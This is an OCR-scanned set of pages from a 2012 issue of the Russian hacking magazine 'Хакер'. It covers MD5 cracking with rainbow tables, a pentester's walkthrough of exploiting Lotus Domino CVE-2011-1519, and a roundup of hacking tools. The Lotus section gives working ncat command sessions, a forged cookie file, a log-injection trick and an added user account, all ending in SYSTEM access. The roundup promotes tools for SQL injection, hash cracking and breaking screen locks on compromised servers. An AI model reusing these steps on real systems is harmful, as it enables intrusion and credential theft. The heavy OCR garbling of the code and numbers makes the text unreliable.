паролей , из которой выбираются первый и последний элементы.

Они записываются в таблицу . Чтобы восстановить пароль, при­

м е няем функцию редукции к и сходному хешу и ищем полученный

возможный параль в таблице . Если такого па рол я в таблице нет,

хешируем его и вычисляем следующий возможный п а роль. Опе­

рация п овторяется, nока в <<радужноЙ>> таблице не будет н айден

па роль . Этот параль представляет собой ко н ец одной из ц е поч ек.

Чтобы найти исходный пароль, необходимо nрогнать всю цепочку

заново. Такая операция не занимает много времени, в зависи­

мости от алгоритма построения цепочки это обычно несколько

секунд или минут. << Радужные >> таблицы позволяют существенно

сократить объем используемой памяти по сравнению с обычным

поиском. Единственный недостаток описанного метода состоит в

том, что на построение таблиц требуется довольно много времени .

Теперь перейдем от слов к делу и попробуем взломать пару­

тройку хешей паралей с помощью этого метода.

Снача л а необходимо определиться с программой. Личн о мне

нравится RainbowCгack l pгoject-гa i nbowcгack .com ) , которая рас­пространяется бес пл атно и работает как на Windows, так и на

RAINBOW TABLES

<< Радужные >> таблицы- это особый тип словаря, который содержит

цепочки паралей и позволяет подобрать параль в течение

нескольких секунд или минут с вероятностью 85-99%.

ХАКЕР 01 / 156/ 201 2

Page 65: haker

Linux . Она nоддерживает четыре алгоритма хеширования: LN/ NTLM, MD5 и SHA1. Программа не требует установки, достаточно распаковать ее куда-нибудь на диск. После распаковки необходи­

мо найти << радужные» таблицы для алгоритма MD5. Здесь все не так nросто: их можно либо с качать бесплатно, либо купить, либо

сгенерировать самостоятельно. Один из самых больших архи-

вов бесnлатных таблиц достуnен на сайте проекта Fгее Rainbow ТаЫеs [ f г eeгa i пbow t aЬies.com ) . Кстати, ты тоже можешь nомочь проекту, если скачаешь клиент с сайта и присоединишься к рас­

пределенной международной сети, которая генерирует « радуж­

ные>> таблицы . На момент написания статьи на этом сайте уже

было доступно 3 Тб таблиц для алгоритмов MD5, SHA1, LM и NTLM. Если у тебя нет возможности слить такой объем информации, то

на том же сайте можно заказать диски с «радужными >> таблица­

ми. На данный момент предлагается три па кета: LN/NTLM, MD5 и SHA1- по 200 долларов каждый. Мы же сгенерируем таблицы самостоятельно. Для этого необходимо использовать программу

гtgеп, входящую в состав RainbowCгack. Она nринимает следую­

щие входные параметры:

hash_algoгithm-aлгopитм хеширования [LM, NTLM, MD5 или SHA1); chaгset- один из наборов символов, содержащийся в файле

chaгset . txt;

plaiпtext_leп_m iп и plaintext_len_max- минимальная и макси­мальная длина па рол я;

taЫe_iпdex, chain_leп, chain_пum и рагt_indех-«магические

числа », описанные в статье Филиппа Оэшлина [Ьit.ly/ппdT8M).

Рассмотрим последние параметры nодробнее:

1. taЫe_index- индекс «радужной>> таблицы, который можно

использовать при разбивке таблицы на несколько файлов. Я ис­

пользовал О, так как моя таблица состояла всего из одного файла.

2. chain_leп- количество уникальных паралей в цеnочке .

3. сhаin_пum-количество цеnочек в таблице .

4. paгt_index-этo параметр, определяющий начало цепочки.

Создатели программы просят использовать в качестве этого пара­

метра только число [я использовал 0). Теперь запускаем генерацию «радужноЙ>> таблицы для MD5:

rtgen.exe md5 loweralpha-numeric 1 7 е zeee 975е5489 е

В данном случае мы создаем таблицу па ролей, состоящих из цифр

и прописных букв латинского алфавита и имеющих длину от одного

до семи символов. На моем Еее РС с процессаром lпtel Atom N450 этот процесс занял почти два дня:). В итоге я получил файл md5_ loweгalpha-numeгic#1-7 _0_2000х97505489 _О.гt размером в 1,5 Г б.

Далее полученную таблицу необходимо отсортировать, чтобы

оптимизировать поиск нужной нам цепочки. Для этого заnускаем

гtsoгt.exe:

rtsort.exe md5_loweralpha-numeric#l-7_e_zeeex975e5489_e.rt

Ждем пару минут и таблица готоваl Теперь можно ломать сами

пароли . Для начала попробуем подобрать параль для одного хеша:

d8578edf8458ceeбfbc5bЫбa58c5ca4. Запускаем гcгack_gui.exe и

выбираем Add Hash ... в меню File . В появившемся окне вводим хеш и нажимаем ОК. Теперь выбираем файл с «радужноЙ>> таблицей. Для

этого используем пункт Seaгch Rainbow ТаЫеs ... в меню Rainbow ТаЫе .

В открывшемся окне для выбора файла ищем файл с таблицей, у меня

это md5_loweralpha-numeric#l-7_e_zeeex975135489_e.rt, затем жмем Open. Через несколько секунд nараль у нас в руках! Аналогичную операцию можно произвести и над списком хе ш ей из файла.

«РА УЖНЫЕ» ТАБЛИ Ы VS. CPU VS. GPU Я думаю, ты обратил внимание на то, насколько быстро lghashgpu сnособен взламывать МD5-хеши полным перебором, и на то ,

что RainbowCгack делает это еще быстрее при наличии хорошей

ХАКЕР 01/156/2012

Штурм MD5

Генерирую радужную таблицу

Радужная таблица изнутри

« радужноЙ>> таблицы. Я решил сравнить скорость работы этих

nрограмм. Для чистоты эксперимента я использовал программу

MDCгack, которая осуществляет брут пароля на CPU [и является одной из лучших среди программ такого типа). Вот что получ илось в результате для GPU [nVidia GeFoгce GT 220М), CPU [lntel Atom N450, дваядра)и «радужных» табли~

Длина па рол я GPU CPU Таблицы

4 символа ee:ee:el ee :ee:el ее:ее:lб

5 символов ее:ее:ы ее : ее:е9 ее : ее:lб

б символов ее:ее:lб ee:es:21 ее:ее : 1е

7 символов ee:ю:ll е9:27:52 ее:ее:е4

Как видишь, скорость перебора с использованием CPU намно ­

го меньше, чем с использованием GPU или «радужны х>> таблиц .

Более того, большинство специализированных программ позволяет

создать кластер из видеокарт, благодаря чему скорость перебора

пароля увеличивается в разы. Я думаю, ты обратил внимание на

то, что скорость подбора 4- и 5-символьного паралей ниже, чем

скорость подбора nа рол я из шести или семи символов. Это связа но

с тем, что пои ск пароля начинается только после загрузки таблицы

в память. Получается, что из шестнадцати секунд в среднем тринад­

цать тратится на загрузку и три- на взлом хеша.

ВМЕСТО ЗАКЛЮЧЕНИЯ В конце я бы хотел немного поговорить о за щите твоих па ролей.

Во-первых, не используй уязвимые алгоритмы хе ширования, такие

как MD5 или SHA1. На данный момент стоит задуматься об исполь­зовании одной из криптографических хе ш-функций SHA2 или SНАЗ [как только опубликуют соответствующий стандарт). Во-вторых,

не используй функции хеширования напрямую . Всегда старайся

использовать «соль>> и комбинировать различные алгоритмы. И

в-третьи х, выбирай сложные произвольные парали длиной как

минимум восемь символов. Конечно, это не защитит тебя от взлома

на 100 %, но хотя бы усложнит жизнь злоумышленникам. ::Х::

063

Page 66: haker

EJ Plugtns

RDP Вots tist

Ftles .-6 setttnas

Hack the Planeti

Page 67: haker

Spy Еуе ....

f! Anti·.&i..Rud • Г е FF -binj•W: Г

Q Op<tr• foпngnobb•o Г Chrom• formgПibЬet~ Г

Page 68: haker
Page 69: haker

Spy Еуе ... , Installer

г----------conflo.php -------------,

-· -(forCP):

ll'!y5QL

lnl itle :~CN" "Your JavaSctipt ls tumed off. Please, enaЬieyoo >o:::'c:J:::s_· ---:--'=:...:;:= ,. • .,...., • ._~ID.ot--1

~- ( ПIIМI .. С"Т>!.J1УСф8НМЦ)' ) YDUI"Javakrlplla lwoмdorf. PI8aaa , a~МЫ.yowJ&.,...aи, a"*~М~..-: Ьнcon.

Пto[y- •e.-ano,t;«rt~ -Co~"'",..JI*""'•

~ ( ПIINI8Кt1o011!YC.I'P8"'"'Y ) YowJavaScriptl8t .. .,.dofi. Pieaн , anablly-JS ~h Сlом P18a•. an111 .. ..-. -~ntf-CO<N~•--•-•

~- I ПI1>811Кnl:ti'J'~"ЦJ' ( Y-JavaSc.Пpel8t,.Ndotf. PI8"a, anaЫ. v-Js Pleaи , e~~terp.~oword WWWI'IDVI«\1~ l •,twJt,Ьoonl

intitle:"CN" "YourJavaSaipt ls tumed off. Please. e~bl!_~ ~

Page 70: haker

взлом Алексей Синцов, Digital Security ltwitter.com/asin tsovl

Пробивая Lotus, или история одного пентеста

IBM Lotus Domino Server - программмое

обеспечение

компании IBM Lotus Software, серверная часть программнога

комплекса IBM Lotus Notes.

ЭКСПЛУАТИРУЕМ ПРИВАТНУЮ ДЫРУ www.zerodayiпitia· tive.com - ZD I; www:ii)m.com/soft­ware/ru/lotus/ -IBM Lotus Software; buatraq.ru - BugTraq; dj .navexDress.com ­DJ Java Decompiler.

В LOTUS DOMINO CONTROLLER В этой статье я хотел бы рассказать об одном

рабочем дне пентестера, которому, вопреки

распространенному мнению, недостаточно просто

запустить сканер и ждать отчета . Ему нередко

приходится проявлять смекалку и прямо во время

теста на проникновение писать сплоиты.

Однажды я проверял надежность защиты очередного объекта. На этот

раз вся инфраструктура была поднята за счет оборудования и софта IBM, что совершенно точно влетело заказчику в копеечку. Основную часть

инфраструктуры, как это обычно бывает, составляли сервера Lotus. В данном случае их было много. Очень много. На Lotus была построена вся кухня компании: почта, совещания, управление контентом и т. п . Кстати,

здесь вполне уместно вспомнить старую статью Александра Полякова, в

которой он героически описывал свой опыт покарения этого ПО . Однако

время беспощадно, и те трюки, которые ещё пару лет назад работали на

ура, се годня уже не дают абсолютно никако го профита. Обновленный

монструозный Lotus смотрел на меня как на обыч но го пользователя безо

всяких прав. : ] В такой ситуации любой начинающих взломщик полез бы на баг-трекеры и начал искать, к чему можно прицепиться, кроме

устаревшего пames.nsf в веб-сервисах .

На серверах, которые я тестировал, стоял почти самый свежий Lotus 8.5.2FP2. Ни Метасплойт, ни exploit-db.com не порадовали меня ничем дельным. Однако я решил н е полагаться на такие попсовы е источники

эксплойтов и обратился за помощью в поиске багов без сплойтов к ленте

BugTгaq , ZDI, сайту IBM с sесuгitу- обновлениями и Г углу. В результате

я нашел кучу уязвимостей, связанных с переполнением буфера в раз­

личных сер висах, а также ба г, позволяющий обойти аутентификацию и

068

выполнить произвольный код. Однако зксплойтов для всех эти х уязвимс­

етей не существовало, а описания ошибок были очень поверхностны м и

и указывали лишь общее направление, в котором нужно двигаться . На

первый взгляд. такие указания никак не могли помочь в разработке

хоть сколько-нибудь эффективно го эксплойта, но надо было двигаться

дальше .: ]

СКАЗ ПРО CVE-2011-1519 Бегло просмотрев различные уязвимости, я остановил ся на ба ге с

обходом ауте нтификации, позволяющем выполнить произвольны й код

[а это как раз то, о чем мечтает каждый пентестер]. Эта уязвимость, по­

лучившая на сайте ZDI код ZDI-11-110, на момент проведения пентеста числилась как Oday (сейчас уже имеется соответствующий патч]. П ри­веду перевод о п исания указанной уязвимости с этого сайта :

<< Эта уязвимость позволяет удаленному атакующему выполнить

произвольный код на уязвимой инсталляции Lotus Domino Sегvег С о пtгоllег. Для эксплуатации уязвимости не требуется аутентифи ­

кация. Проблема существует в реализации функцианала удаленной

консоли , которая по умолчанию слушает ТСР-порт 2050. При аутен­

тификациипользователясервериспользуетзначениепараметра

COOKIEFILE, в котором пользователь передает путь для получения

ХАКЕР 01 /156/2012

Page 71: haker

сохраненных аутентификационных данных. Приложение сравнивает

данные из этого файла с данными пользователя. Путь может быть

представлен в виде UNC, что позволит атакующему контролировать

оба сравниваемых значения. Эксплуатируя эту уязвимость, удаленный

атакующий сможет выполнить кодсправами SYSTEM>>.

Это описание вполне раскрывает всю суть проблемы: во время

аутентификаци~ атакующий может подменить параметр COOKIEFILE на пара метр, содержащий путь к файлу \\evi lhost\passwoгd_coo kie_file,

который находится под контролем самого атакующего . В этот файл как

раз и входит строка, сравниваемая с паролем, который вводится при

аутентификации. Однако более подробная информация в описании

уязвимости отсутствовала.

Итак, мы знаем, что уязвимая служба висит на порте 2050. Это очевид­но, так как контроллер Lotus всегда находится там. Однако протокол общения лично мне был неизвестен. Погуглив информацию об этом

протоколе, я ничего не нашел. В то же самое время мой напарник

Александр Минаженка заметил, что автор ба га, достаточно извест­

ный пентестер и хакер из Швеции Патрик Карлсон, также является

автором модулей для культового сканера nmap. Некоторые из этих модулей как раз работают с Lоtus-контроллером, например модуль

для брутфорса и выполнения кода, предназначенный для тех случаев,

когда параль известен.

Рассмотрим код этих модулей:

socket:reconnect_ssl()

socket:send( "#API\n" )

socket:send( ( "#UI %s,%s\n " ):format(user,pass) socket:receive_lines( l ) socket:send( "#EXIТ\n" )

Как видно, аутентификация в Lоtus-контроллере выглядит

достаточно просто: это SSL-тун нель , в котором все команды идут

открытом текстом и начинаются с символа«#>>. Таким образом, для

аутентификации с лагином admin и па рол ем pass нам нужно вве сти

команду «#UI admin,pass». Этот факт не слишком приближает нас к по­

ниманию того, как осуществить атаку, поскольку ни один модуль nmap не использует путь COOKIEFILE для аутентификации . Однако, проявив

немного смекалки, можно придумать команду «#COOKIEFILE \\evil\ file». Протестировав эту команду, я не получил ровным счетом ничего, даже уведомления об ошибке в синтаксисе [это говорит нам о том , что

сама по себе команда вроде бы верна! .

ОЧТИ РЕВЕРС-ИНЖИНИРИН После всех безуспешных попыток вникнуть в код алгоритма мне при­

шлось декомпильнуть код контроллера. Выяснилось, что контроллер

полностью написан на Java, поэтому и IDA Рго, и Оля-дебаггер оказа­лись не нужны. Пригодился обыкновенный DJ decompileг [membeгs.

Nсаt-атака

ХАКЕР 01 /156/2012

Пробивая Lotus, или история одного пентеста

foгtunec i ty. com/neshkov/dj . htm l l, который превратил jаг-файл С :\ Ргоgгаm Files\IBM\Lotus\Domino\Data\domino\java\dconsole.jaг в кучу nрактически полностью читаемого Jаvа-кода . Воспользовавшись

поиском, я быстро нашел в полученных файлах класс NewCiient.class, отвечающий за работу с консолью и аутентификацию . Давай взглянем

на сам код:

11 sl- строка ввода с 2ese/tcp

if(sl.equals( "#EXIT" )) return 2;

i f (sl. equals( "#COOKIEFILE" ))

if(stringtokenizer.hasMoreTokens()) 11 Ага. Мы были правы: // #COOKIEFILE < nуть к файлу>

cookieFilename = stringtokenizer.nextToken().trim(); return 7;

if(! l.equals ( "#UI" )) if(stringtokenizer .hasMoreTokens())

11 Аутентификация ... usr = stringtokenizer.nextToken( "," ).trim();

if (usr == null) return 4 ;

if(stringtokenizer.hasMoreTokens()) 11 Пароль после запятой, это мы и так знали

pwd = stringtokenizer.nextToken().trim(); return е ;

Наши догадки о формате команд оказались верны. Теперь давай

найдем интересующий нас процесс аутентификации:

/* Цикл чтения ввода */ do{

/ / ReadFromUser- эта функция была в предьщущем листинге

int i = ReadFromUser();

if(i == б ) { // Если #APPLET appletConnection = true ; continue;

userinfo = UserManager.findUser(usr); if(userinfo == null) {

/1 Если юзер не найден . .. Баг!

WriteToUser( "NOT_REG_AOMIN" ); continue;

if(!appletConnection) // Если не было #APPLET, то обычная аутентификация

fiag=vrfyPwd.verifyUserPassword(pwd,userinfo.userPWD()); else // Если же бьта команда #APPLET

/ 1 Аутентификация по COOKIE? Ага!

fiag = verifyAppletUserCookie(usr, pwd);

} while ( true); // end loop if(fiag) // Если результат аутентификации положительный,

// загрузить консоль управления, ура!

Из ЭТОГО КОДа ВИДНО, ЧТО нам необхОДИМО «ВКЛЮЧИТЬ» УЯЗВИМЫЙ

механизм аутентификации с помощью команды #APPLET до исполь­зования #UI и #COOKIEFILE. Кроме того, дело не дойдет до аутен­

тификации, если ты не знаешь лаги н, который содержится в файле

069

Page 72: haker

взлом

admindata.xml. Тем не менее, no ответу сервера мы сможем nонять,

существуеттакой лаги н или нет [ответ NOT_REG_ADMIN из листинга!' Такая уязвимость называется <<раскрытие существующих лагинов

системы». Для быстрой nроверкия пробрутфорсил вручную несколь­

ко самых поnулярных лагинов в тестируемой системе и обнаружил

юзера adm, который nонадобится нам для реализации дальнейших этапов атак~.

Теперь рассмотрим функцию авторизации veгifyAppletUseгCookie:

//#COOKIEFILE <cookieFilename>

if(cookieFilename == null 1 1 cookieFilename.length() е )

return flag; / /Еще один баг- открытие файла без фильтрации ввода!

File file = new File(cookieFilename);

inputstreamreader = new InputStreamReader(

new FileinputStream(file), "UТF8" );

//s7- содержимое файла cookieFilename

do { if((j = s7.indexOf( "<user " , j)) <= е ) break ;

String s2 = getStringToken(s7, "user=\"", " \ "" , j, k);

String sЗ = getStringToken(s7, "cookie=\"", " \ "" , j, k);

String s4 = getStringToken(s7, "address=\"", " \ "" , j, k);

if(s5.equalslgnoreCase(s2) && s6.equalsignoreCase(s3)

&& appletUserAddress.equalsignoreCase(s4)) { //Ура!

flag = true ; break ;

while ( true);

Из кода видно, что если введенные nри аутентификации значения

useгname, passwoгd и addгess равны значениям useгname, passwoгd

и addгess из cookiefile, который мы контролируем, то аутентификация nройдет усnешно' Таким образом, мы можем составить примерный

алгоритм атаки:

1. Скриптищеттег<usег> в указанном нами файле.

2. В этом теге считываются значения useгname, passwoгd, addгess.

3. Далее считанные параметры сравниваются с теми, которые ввел

пользователь.

4. Так как путь к открываемомуфайлу не фильтруется nри вводе, мы

можемуказатьnутькпроизвольномуфайлуиобойтитакимобразом

злосчастную аутентификацию .

РАНЕЕ ПРИВАТНЫЙ ЭКСПЛОЙТ ЛЯ CVE-2011-1519 Теперь перейдем непосредственно к реализации нашей атаки.

1. Создаем файл cookie.xml:

<user name="usr" cookie= "psw" address= "dsecrg" >

Как ты уже nонял, логин usr должен реально существовать. 2. Сохраняем nолучен н ый файллибо у себя в шаре, либо на местном

файловом сервере, указав nуть \\fileseгveг\puЫic\cookie.xml.

3. Теnерь подключимся к уязвимомусерверу с помощью ncat:

070

ncat --ssl targetlotus_host 2е5е #API

#АРРLЕТ

#COOKI EFILE \\fileserver\puЫic\cookie.xml #USERADDRESS dsecrg

#UI usr,psw VALID_USER

#ЕХП

LOAD CMD.exe /С net user add username password /ADD BeginData

Команда #APPLET говорит серверу о том, что мы хотим исполь­

зовать файл cookie для аутентификации. Когда мы пробуем пройти аутентификацию с nомощью команды #UI, сервер nытается открыть файл, путь к которомууказан в #COOKIEFILE. Из этого файла и берутся фейковы е данные, которые сервер сравнивает с введенными нами

логином и паролем. После команды #EXIT запускается процесс об­

работки ввода для аутентифицированного пользователя, то есть мы

получаем доступ к серверу' Воттолько как им управлять? Если ты nом­

нишь соответствующую статью Саши Полякова, то в ней описывалась

команда LOAD, фактически nозволявшая нам запускать командную

строку с nараметрами. Единственный минус этого способа заключался

в отсутствии обратной связи, то есть мы не могли видеть результат вы­

nолнения команды. Кроме того, в настоящий момент IBM настоятельно рекомендует защищать команду LOAD с помощью дополнительного сервисного пароля, обойти который у нас уже не nолучится. Однако

мы можем, как в пmар-модулях, выnолнять команды, вводя их nосле

символа доллара. В данном случае метод LOAD и сервисный параль ни

nри чем, но оnределенные nривилегии авторизованному пользовате­

лю все равно нужны:

ncat --ssl tagetlotus_host 2е5е #API #АРРLЕТ

#COOKIEFILE \\fileserver\puЬlic\cookie.xml #USERADDRESS dsecrg #UI usr,psw

VALID_USER #ЕХП

$whoami

whoamiBeginData

Microsoft Windows [Version 6. 1 .76е1]

Copyright (с) 2eeg Microsoft Corporation. Al l rights reserved.

C:\Lotus\Domino\data>whoami NT AUTHORITY\SYSTEM

C:\Lotus\Domino\data>

Большим nреимуществом этого способа является тот факт, что nри

его использовании мы видим еще и результат исnолнения команды.

Следует также отметить, что в nриведе н но м выше листин ге директива

#API включает режим консоли, чистый API без Jаvа-вывода, -таким

образом, работа с ncat становится еще более удобной. Кстати, если Lotus запущен с доменной учеткой, то мы вполне можем организовать атаку тиnа SMBRelay.

А ЧТО ЕСЛИ? Отлично, мы реверснули ба г и фактически со здали эксплойт. Это все?

Нет, есть и еще кое-что. Во-первых, что ты будешь делать в случае

c-..-.. ~no '" ........... C'adlf.Cмtt.&........Joo

Lqou-os.Fn,OJOcc:OII c ... ,..тnw,_,... C...tllll·~ll:

..._, L.,••~

D~l'1to ,07 0c<~D!I'" .1'-l4

Геологическая служба США

ХАКЕР 01/ 156/2012

Page 73: haker

блокировки SМВ-трафика с атакуемого сервера? Серверу, который

имеет выход в интернет, вполне можно подсунуть UNC (набор симво­лов, который указывает расположение файла в файловой системе!.

Если выходавинтернет не имеется, то сервер не сможет добраться

до файла из-за банального межсетевого экрана. Кроме того, IBM вы­пустила простой, но беспощадный патч: теперь к параметру cookiefile добавляется точка « .>> в самом начале пути. Таким образом, если мы

вводим что-то типа \\evil\cookie\file, то в результате сервер пойдет

открывать файл, путь к которому имеет следующий вид: .\\evil\cookie\ file, так что об UNC здесь можно забыть. Кроме того, патч проводит ау­тентификацию клиента с помощью SSL-сертификата, позтому доступ к

консоли без него получить не выйдет. Но давай забудем про сертифи­

кат и решим первую проблему. В этом нам помогут сами программи­

сты IBM! Из листинга, в котором осуществляется парсинг cookief ile, видно, что кодеры хотели использовать что-то типа ХМ L-файла и

ХМ L-парсе ра. Но на самом деле код не парсит XM L, а просто ищет под­строку в строке' Обрати внимание, что, по мнению программистов IBM,

ХМL-файл вида:

c ?xml version= "1 . 0" encoding= "UTF-8" ?> cuser name= "admin" cookie= "dsecrg" address= "dsecrg" >

а налогичен вот этому непотребству:

Bla-Ыa-Ыacuser name= "admin" xXXxcookie= "dsecrg"Xaddress= "

dsecrg"NYA>

Эта «особенность>> позволяет нам инжектировать файл куки в

локальные файлы сервера для последующего использования этого

файла в процессе описанной выше фальшивой аутентификации. При ­

мерный сценарий атаки в данном случае может выглядеть так:

1. Инжектим cookievalues с помощью сервиса Microsoft НТТРАРI

service (здесь идалее \г\n-это просто Enteгl:

ncat targethost 49152

GET /<user HTTP/1.0\r\n

\r\n

ncat targethost 49152 GET /user= "admin"cookie="pass"address="http ://site.com"

HПP/1.0\r\n

\r\n

2. Теперьлог-файл на сервере будет выглядеть примерн о так:

#5oftware: Microsoft НТТР АР! 2.0 #Version: 1.0 #Date: 2011-08-22 09:19:16

2011-08-26 11:53 :30 10.10.10.181 52902 10.10.9.9 47001 НТТР/1.0 GET cuser 404 - NotFound -

2011-08-26 11:53:30 10.10.10.181 52905 10.10.9.9

47001 НТТР/1.0 GET name="admin"cookie="pass"address=" http ://site.co;n ·'> 404 - NotFound -

Два запроса сделано НР случайно : парсер от IBM будет искать строку <«user >>с пробелом в конце, а все пробелы в за просе коди­руются как «%20>> [• , го нам не подходит!. Таким образом, мы делаем

первый запрос так, чтобы пробел после <«user >> поставил сам веб­

сервер (м ежду запросом и результатом мы увидим 404 NotFouпdl . Во втором запросе дописываем все остальное.

3. Те перь, после получения валидногофайла кукипутем инжектирова­

ния влаги веб-сервера, эксплойтим все это дело:

ncat --ssl tagetlotus_host 2050

#АР!

ХАКЕР 01/156/2012

Пробивая Lotu s, или история одного пентеста

ПРАВИЛА ВЫЖИВАНИЯ ПРИ ПЕНТЕСТЕ

1. Никогда не запускай ничего низкоуровне вага, если ты его

досконально не знаешь. Например, если ты не знаешь, как работает

ARP-POI SONING, не стоит злоупотреблять им на проверяемом объекте [конечно, иногда так хочется нажать красивую кнопочку

в Саiп, но DoS на заводе или в банке-несоразмерная плата за перехваченный па роль от почтового ящика какого-нибудь офис­

менеджера на mail . гu l.

2. Никогда не запускай зксплойт, в котором ты не уверен.

Эксплойт- это не то ПО, которое делает хакера хакером [или

пентестера пентестеромl. Ведь если этот эксплойт связан,

например, с ошибками при работе с памятью , то нужно быть

уверенным не только в правильнести версии уязвимого ПО, но и

в правильнести версии ОС, а иногда даже в том, что уязвимое ПО

имеет соответствующее окружение [например, для использования

некоторых эксплойтов необходимо установить Java 6 для RОР­программы или отключить ASLRI.

З. Спрашивай разрешения у !Т-с пециалистов твоего клиента, если

хочешь произвести какие-либо действия, которые потенциально

могут вызвать отказ в обслуживании.

4. У пентестера никогда не бывает лишнего времени. Запомни это. Не

стоит ковыряться в одном сервисе двое суток только для того, чтобы

написать офигенный эксплойт и проверить его на стабильность

на копии тестируемой системы. Это, конечно, круто, но в итоге ты

проэксплуатируешь только один ба г, а времени на 99 других у тебя просто не останется. Нужно уметь выбирать приоритеты в условиях

ограниченного времени и при отсутствии ресурсов.

#APPLET

#COOKIEFILE .. \ .. \ .. \windows\system32\logfiles\httperr\ httperr1.log #USERADDRESS http://twitter/asintsov #UI admin,pass #ЕХП

$whoami

NT AUTHORITY/5YSTEM

В результате мы вполне можем получить профит и без UNC, так как

лог-файл может быть любым.

Стоит сказать несколько слов и о защите от разработанного нами

способа атаки. Во-первых, атакуемый серви с используется сугубо

для узких административных целей, поэтому он не должен бытьдо­

ступен пользователям локальной сети, а также виден из интернета.

Во-вторых, ни в коем случае не забывай пропатчии обновления.

В-третьих, постарайся не забыть про сервисный па роль, который уста­

навливается один-единственный раз через ту же самую консоль [даже

если сервер захватят, различные опасные команды вроде LOAD и TELL будут защищены!. И последнее- время от времени проводи аудит файла admiпdata . xml. Здесь перечислены все пользователи контрол­

лера с па ролями в MD5. Кроме того, тут же прописаны их привилегии в виде десятичных значений. Значения 4, 25 и 26 говорят о том, что у этого пользователя есть привилегии на исполнение системных

команд. Следи за тем, чтобы у незнакомых юзеров н е было лишних

полномочий, и да пребудет с тобой Сила' I

071

Page 74: haker

взлом Mar licq 884888, http://snipper.rul

СОФТ ДЛЯ ВЗЛОМА И АНАЛИЗА БЕЗОПАСНОСТИ

,., .. , ... ....

Автор:

scarletO URL: bit .ly/t l56m2 Система:

""""' .... Windows -·

MSSQL lnjection Helper- это одна из множества

утилит, nредназначенных для работы с SQL­инъекциями. Однако основная ее особенность

состоит в том , что она заточена исключительно

nод базы данных MSSQL. Такие утилиты не слишком часто встречаются в на ш е время, когда

наиболее широкое расnространение nолучили

nрограммы для раскрутки МуSQL-инъекций.

Возможности и особенности проги:

поддержка всех последних версий Microsoft SQL Server;

о дружественный и интуитивно понятный GUI­интерфейс;

о легкое переключение между русским и

английским языком;

несколько методов перебора;

извлечение имен баз, таблиц и столбцов;

извлечение имени nользователя и версии­

базы данных;

о дампингвсего и вся;

использованиетаблицдля сохранениядам ­

пов в понятном виде ;

о удобная сортировка колонок.

Начать работу с программой не просто, а

очень пр осто ' MSSQL lnjection Helper не тр е ­

бует установки, так что распаковывай архив

в любое удобное для тебя место на диске,

вбивай в соответствующее поле URL уязвимо­го с крипта [например, site .com/script.asp?id =11 и начинай работу.

072

Автор :

Сваричевский Ми ха ил Александрович URL: 3. 14.Ьy/r u/md5 Система : Win dows

Мечтал ли ты во время брута МD5-хешей о заоб­

лачной скорости вычислений и задействова нии

абсол ютно всех ресурсов своего компьютера?

Тогда специально для тебя спешу представить

замечательный инструмент для взлома хешей

BarsWF- World Fastest MD5 cracker. Как ты nонял из названия, автор позиционирует свое

творение как самый быстрый МО5-крякер в

мире. В чём заключается его уникальность?

Давай обратимся к плюсам и минусам nporи :

+ отличная поддержка многоядерных процес­

соров;

+ версии для работы на видео- и центральном

nроцессоре;

+ работа в режим е командной строки;

заточен исключительно под MD5; не имеет визуального интерфейса;

позволяет брутить не более одного хеш а

одн овременно.

А те перь немногu фактов:

1. Программа используетвсеядра ЦП на

полную. Тесты nоказали, что на lntel Саге 2 Quad QX6700 [3,01 GHzl брутфорс выжимает

около 200 миллионов паралей в секунду nри использовании всех четырех ядер'

2. Утилитазамечательноработаетсвидеокар­тами Radeon: одна из ее версий использует техноло гию AMD BROOK, которая представ­ляет собой аналог всем известной CUDA от NVidia.

• . "' . -~

~ ' ,"" .. - ' ' :. ~

' . - . ~· .:;:; . . ~

Автор: cel1697i845 URL: bit.ly/vmJ2g8 Система : Windows

Наверняка тебе часто п о п адали сь хеш и,

алгоритм генерации которых был неизвестен.

Вероятно, в таких случаях ты пытался узнать

название движка , с которого был слит дамп

базы данны х, а затем п отро шил его исходни-

ки на предмет этого самого алгоритма. Н о что

делать , если определить тип движка не удается,

а расшифровать хеш хочется до безумия? Сnешу

тебя обрадовать! Замечательная программа

«Brutus hashes. New generation>> предо ставляет

прекрасную возможность для автоматического

оп ределения практически любого алгоритма

хеширования' Авторизначально позициониро­

вал с вое творение как очередную nрограмму

для брутфорса, но в действительности, сам того

не подозревая, накадил совершенно другую,

уникальную и крайне полезную вещь. :-1 А теперь сам алгоритм о пр еделения тиnа

хеш а:

1. Регистрируемся н а взломанном ресурсе .

2. Ищем в доступном намдампе хеш от известно­го па рол я, введенноготобой nри регистрации.

3. Вводим nолученную информацию в соответ­

ствующие п оля программы.

4. Жмем на восклицательный знак и ждем, когда определится тип хеш а.

Кстати, ты можешь разработать собствен­

ный ал го с помощью встроенного конструкто ­

ра. В сего доступе н 6 131 066 257 801 вариант.

ХАКЕР 01/156/2012

Page 75: haker

Автор: ХМСО Security Research Labs URL: www.xmco.fr/ panbuster.html Система:

*nix/win/mac

Автор : ТIМНОК URL: bit.ly/vZbhcN Система: Windows

Если ты хоть раз на ходил на раздачах хороший

де дик , то вп олне мог стол к н утьс я с таким

явлением, как sсгееn-л ок. Программы, пред­

назначенные для этого, позволяют тебе в идеть

рабочий стол дед и ка, но в то же время бло­

ки руют любы е действия, п ока ты не введешь

правильный па роль . Конечно, можно забить

на приглянувшуюся тебе машинку, но есть и

другой выход . Итак, встречаем DDM gг - удоб­

ный менеджер и пробиватель sсгееn-локов

для дедиков. Особенности и функциональные

возможности программы:

• удобный интерфейс;

пробивание большин ства скринлоков;

выбор автозагружаемой программы;

возможность менять размеры окна;

функции изменения п орта, редиректа п ортов

и п одключения ди ско в ;

форсированиеподдержкибуфера обмена

!даже если он вы ключен, про га заставит его работать);

Благодаря пе ре числе н ным функциям,

DDMgг может пригодиться не только обыч н ому

пользователю, но и владельцу или продавцу

целогопарка дедиков. Самая главная особен­

ность программы заключается в том , что она

по з в оля ет не только про би в ать скри нл оки,

но и снимать множество других ограничений,

мешающих твоей комфортной работе с удален­

ным компьютером.

ХАКЕР 01 /156/2012

PANBu steг - это консольная утилита , пр ед­

назначенная для поиска н омеров кредитны х

карт, хранящихся в открытом виде в твоей lи

не только! системе. Программа может б ыть крайне полезна для проведения аудита на

соотв ет с тв ие требованиям стандарта PCI 055, так как он строго- на стро го за пре щает х р а нить

PAN !ном ер! карты в открытом виде. Таким образом, PANBusteг будет н е л ишней для

всех PCI Q5A, системных администраторов,

разработчиков, аудиторов и с п е циали стов по

расследованию инцидентов.

Особенности и функциональные возмож­

ности утилиты:

пол н ая п одде ржка Windows, L i пu x, Мае 05 Х; идентификация бренда карты IV15A,

